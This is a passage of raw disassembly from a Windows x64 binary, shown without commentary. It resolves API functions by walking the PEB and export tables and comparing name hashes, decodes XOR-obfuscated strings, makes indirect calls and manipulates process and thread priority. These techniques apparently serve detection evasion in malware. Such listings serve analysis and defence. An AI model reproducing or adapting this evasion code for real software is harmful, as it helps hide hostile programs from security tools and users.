jne 0x14006f1a6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x4f0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x4f8], 0
jne 0x14006f1da
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f186
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f186
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6409304d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f181
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f160
cmp r8d, 0xbd3621ad
je 0x14006f18b
test r9d, r9d
jne 0x14006f140
mov rax, qword [rax]
jmp 0x14006f110
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c68], 0
jne 0x14006f296
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x4e0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x4e8], 0
je 0x14006f1e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006f276
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006f276
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xe8baa947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006f271
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006f250
cmp r8d, 0xbb9feb87
je 0x14006f27b
test r9d, r9d
jne 0x14006f230
mov rax, qword [rax]
jmp 0x14006f200
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, qword [0x1400f6cc8]
test rbx, rbx
jne 0x14006f4bd
xor r10d, r10d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rbx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x14006f3ad
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x60abd22e
cmp rcx, r8
je 0x14006f3a4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006f390
cmp edx, r10d
jne 0x14006f49e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
shr r14, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006f49e
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006f49e
mov esi, dword [rdi + 0x20]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + rsi]
add rcx, r9
mov edx, 0x60abd22e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006f416
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006f400
cmp edx, dword [rsp + 0x34]
je 0x14006f423
test r8d, r8d
jne 0x14006f3e2
jmp 0x14006f49e
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14006f4b6
lea rax, [rdi + r14]
cmp rbx, rax
jae 0x14006f4b6
mov ecx, 0x60abd22e
mov r10d, ecx
mov dword [rsp + 0x34], ecx
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14006f477
nop dword [rax + rax]
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14006f460
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x14006f49b
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14006f481
mov dword [rsp + 0x34], ecx
mov rbx, qword [r15]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r15
je 0x14006f4b4
cmp qword [rax + 0x30], 0
jne 0x14006f360
xor ebx, ebx
mov qword [0x1400f6cc8], rbx
mov eax, dword [0x1400cf3b8]
mov dword [rbp + 0xd8], eax
movzx eax, word [0x1400cf3bc]
mov word [rbp + 0xdc], ax
movzx eax, byte [0x1400cf3be]
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov byte [rbp + 0xde], al
movups xmmword [rbp + 0xc8], xmm0
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006f65f
movdqa xmm5, xmmword [0x1400e4c40]
movdqa xmm4, xmmword [0x1400d0580]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [str.3333]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1400d04c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xcc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006f550
cmp r8d, 0x17
jge 0x14006f6a3
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14006f670
mov rdx, qword [0x1400f6cc0]
test rdx, rdx
jne 0x14006f840
xor r10d, r10d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x14006f71d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x61abd3c1
cmp rcx, r8
je 0x14006f714
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006f700
cmp edx, r10d
jne 0x14006f821
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006f821
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006f821
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x61abd3c1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006f796
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006f780
cmp edx, dword [rbp + 0x80]
je 0x14006f7a5
test r8d, r8d
jne 0x14006f760
jmp 0x14006f821
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x14006f839
lea rax, [rdi + r15]
cmp rdx, rax
jae 0x14006f839
mov ecx, 0x61abd3c1
mov r10d, ecx
mov dword [rbp + 0x80], ecx
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14006f7f7
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14006f7e0
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14006f81d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14006f801
mov dword [rbp + 0x80], ecx
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006f837
cmp qword [rax + 0x30], 0
jne 0x14006f6d0
xor edx, edx
mov qword [0x1400f6cc0], rdx
movsd xmm0, qword [str._BSTU]
movsd qword [rbp - 0x78], xmm0
movzx eax, word [0x1400cf3a0]
mov word [rbp - 0x70], ax
cmp byte [0x1400cf3a1], 0
je 0x14006f889
mov byte [rbp - 0x78], WSAGetLastError
xor byte [rbp - 0x77], 0x36
xor byte [rbp - 0x76], 0x37
xor byte [rbp - 0x75], 0x38
xor byte [rbp - 0x74], 0x39
xor byte [rbp - 0x73], 0x3a
xor byte [rbp - 0x72], 0x3b
xor byte [rbp - 0x71], 0x3c
xor byte [rbp - 0x70], 0x3d
xor byte [rbp - 0x6f], 0x3e
lea rcx, [rbp - 0x78]
call rdx
lea rdx, [rbp + 0xc8]
mov rcx, rax
call rbx
mov r12, rax
test rax, rax
je 0x14006fae0
test r13, r13
jne 0x14006fa41
mov rcx, qword [0x1400f6cb8]
test rcx, rcx
jne 0x14006fa44
xor r10d, r10d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x14006f92d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7e8c578d
cmp rcx, r8
je 0x14006f924
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006f910
cmp edx, r10d
jne 0x14006fa20
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r14, rcx
shr r14, 0x20
mov ebx, ecx
add rbx, r9
cmp rbx, r9
je 0x14006fa20
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006fa20
mov esi, dword [rbx + 0x20]
dec r8d
lea rax, [rsi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x7e8c578d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006f996
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006f980
cmp edx, dword [rbp + 0x84]
je 0x14006f9a5
test r8d, r8d
jne 0x14006f962
jmp 0x14006fa20
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rbx
jbe 0x14006fa38
lea rax, [r14 + rbx]
cmp rcx, rax
jae 0x14006fa38
mov edx, 0x7e8c578d
mov r10d, edx
mov dword [rbp + 0x84], edx
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14006f9f7
nop
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14006f9e0
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x14006fa1d
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14006fa01
mov dword [rbp + 0x84], edx
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14006fa36
cmp qword [rax + 0x30], 0
jne 0x14006f8e0
xor ecx, ecx
mov qword [0x1400f6cb8], rcx
jmp 0x14006fa44
mov rcx, r13
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r12
mov ebx, eax
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movabs rcx, 0xff00ff00ff00ff00
mov rax, qword [rbp + 0x188]
xor rax, rcx
mov rcx, qword [rbp + 0x88]
mov qword [rcx], rax
lea rdx, [0x140071ef0]
lea rcx, [rbp + 0x4d0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x4d8], 0
jne 0x140071b04
lea rdx, [0x140075d90]
lea rcx, [rbp + 0x4c0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x4c8], 0
jne 0x140071b04
lea rdx, [0x140064260]
lea rcx, [rbp + 0x530]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x538], 0
jne 0x140071b04
lea rdx, [0x140063c60]
lea rcx, [rbp + 0x580]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x588], 0
jne 0x140071b04
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x560]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x568], 0
jne 0x140071b04
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call fcn.140065250
mov rdi, qword [rbp + 0xa8]
cmp qword [rdi + 0x30], 0xa
jne 0x14006fc86
cmp qword [rdi + 0x50], 0x40
je 0x14006fe6f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006fd16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006fd16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xba479fb4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006fd11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006fcf0
cmp r8d, 0x9ba2984f
je 0x14006fd1b
test r9d, r9d
jne 0x14006fcd0
mov rax, qword [rax]
jmp 0x14006fca0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movdqa xmm0, xmmword [0x1400d0540]
movdqu xmmword [rbp + 0x230], xmm0
movdqa xmm1, xmmword [0x1400d0560]
movdqu xmmword [rbp + 0x240], xmm1
movdqa xmm0, xmmword [0x1400d0590]
movdqu xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [0x1400d05d0]
movdqu xmmword [rbp + 0x260], xmm1
mov dword [rbp + 0x270], 0x82ceb1b7
mov dword [rbp + 0x274], 0x1009392
xor r13d, r13d
mov ecx, r13d
nop dword [rax]
lea eax, [rcx - 0x62]
xor byte [rbp + rcx + 0x230], al
inc rcx
cmp rcx, 0x46
jb 0x14006fd90
mov byte [rbp + 0x277], r13b
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x230]
xor ecx, ecx
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006fe46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006fe46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x290ad67b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006fe41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006fe20
cmp r8d, 0xe9f0124b
je 0x14006fe4b
test r9d, r9d
jne 0x14006fe00
mov rax, qword [rax]
jmp 0x14006fdd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rdi, qword [rbp + 0xa8]
jmp 0x14006fe72
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa18], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x9d8], xmm1
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x9e8], xmm0
mov byte [rbp + 0x9d8], 0
lea rcx, [rbp + 0xa18]
call qword [sym.imp.RPCRT4.dll_UuidCreate]
mov qword [rbp + 0x8f0], r13
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0xa18]
call qword [sym.imp.RPCRT4.dll_UuidToStringA]
mov r15, 0xffffffffffffffff
test eax, eax
jne 0x14006ff03
mov rdx, qword [rbp + 0x8f0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14006fee0
lea rcx, [rbp + 0x9d8]
call fcn.140042bc0
lea rcx, [rbp + 0x8f0]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x968], xmm0
mov qword [rbp + 0x978], r13
mov qword [rbp + 0x980], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x968], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x9d8]
call fcn.14007a010
mov rdx, rax
lea rcx, [rbp + 0x968]
call fcn.140061530
lea rcx, [rbp + 0x810]
call fcn.140042b60
mov word [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp - 0x56], 0
lea r9, [rsp + 0x30]
lea r8, [rbp - 0x57]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x7c0]
call fcn.14005a050
nop
lea r8, [rbp + 0x7c0]
lea rdx, [rbp + 0x968]
lea rcx, [rbp + 0x7e0]
call fcn.14005a420
nop
lea rcx, [rbp + 0x7c0]
call fcn.140042b60
nop
lea r14, [rdi + 0x40]
mov r8, r14
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x830]
call fcn.14005a3b0
lea rcx, [rdi + 0x258]
mov rdx, rax
call fcn.140061530
lea rcx, [rbp + 0x830]
call fcn.140042b60
nop
lea rcx, [rbp + 0x7e0]
call fcn.140042b60
lea rcx, [rbp + 0x9b8]
call fcn.1400667b0
nop
mov dword [rbp + 0x70], 0xcfd7f0b8
mov dword [rbp + 0x74], 0xc1cdd1c7
mov word [rbp + 0x78], 0x9b
mov byte [rbp + 0x7a], 1
mov dword [rbp + 0x48], 0xccc1f1b8
mov dword [rbp + 0x4c], 0x1009ec7
mov dword [rbp + 0x50], 0xc2cefab8
mov dword [rbp + 0x54], 0x98ddc6c9
mov word [rbp + 0x58], 0x100
mov dword [rbp + 0x40], 0xd2c1f7b8
mov dword [rbp + 0x44], 0x1009eca
mov dword [rbp + 0x38], 0xd3c5e9b8
mov word [rbp + 0x3c], 0x9f
mov byte [rbp + 0x3e], 1
mov dword [rbp + 0x60], 0xc4d0e6ea
mov dword [rbp + 0x64], 0xcccaca9f
mov word [rbp + 0x68], Ordinal_211
mov byte [rbp + 0x6a], 1
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x330]
call fcn.14005a7b0
nop
lea rdx, [rdi + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140070090
mov rdx, qword [rdx]
mov rcx, rax
call fcn.1400653c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x208], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x350]
call fcn.14005a5f0
nop
lea rdx, [rbp + 0x9b8]
cmp qword [rbp + 0x9d0], 0x10
cmovae rdx, qword [rbp + 0x9b8]
mov r8, qword [rbp + 0x9c8]
mov rcx, rax
call fcn.1400653c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x370]
call fcn.14005a6d0
nop
lea rdx, [rbp + 0x968]
cmp qword [rbp + 0x980], 0x10
cmovae rdx, qword [rbp + 0x968]
mov r8, qword [rbp + 0x978]
mov rcx, rax
call fcn.1400653c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov esi, 0x6070000
mov dword [rsp + 0x34], esi
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x390]
call fcn.14005a5f0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.14005a3b0
nop
lea r8, [rbp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x3f0]
call fcn.14005a8d0
nop
lea r8, [rdi + 0x20]
mov rdx, rax
lea rcx, [rbp + 0x9f8]
call fcn.14005a3b0
nop
mov r8, qword [rbp + 0x408]
cmp r8, 0x10
jb 0x14007023e
inc r8
mov rdx, qword [rbp + 0x3f0]
lea rcx, [rbp + 0x3f0]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x400], xmm0
mov byte [rbp + 0x3f0], 0
mov r8, qword [rbp + 0x3e8]
cmp r8, 0x10
jb 0x140070278
inc r8
mov rdx, qword [rbp + 0x3d0]
lea rcx, [rbp + 0x3d0]
call fcn.140042c30
movdqa xmm0, xmmword [0x1400e4bf0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3d0], 0
mov r8, qword [rbp + 0x3a8]
cmp r8, 0x10
jb 0x1400702b2
inc r8
mov rdx, qword [rbp + 0x390]
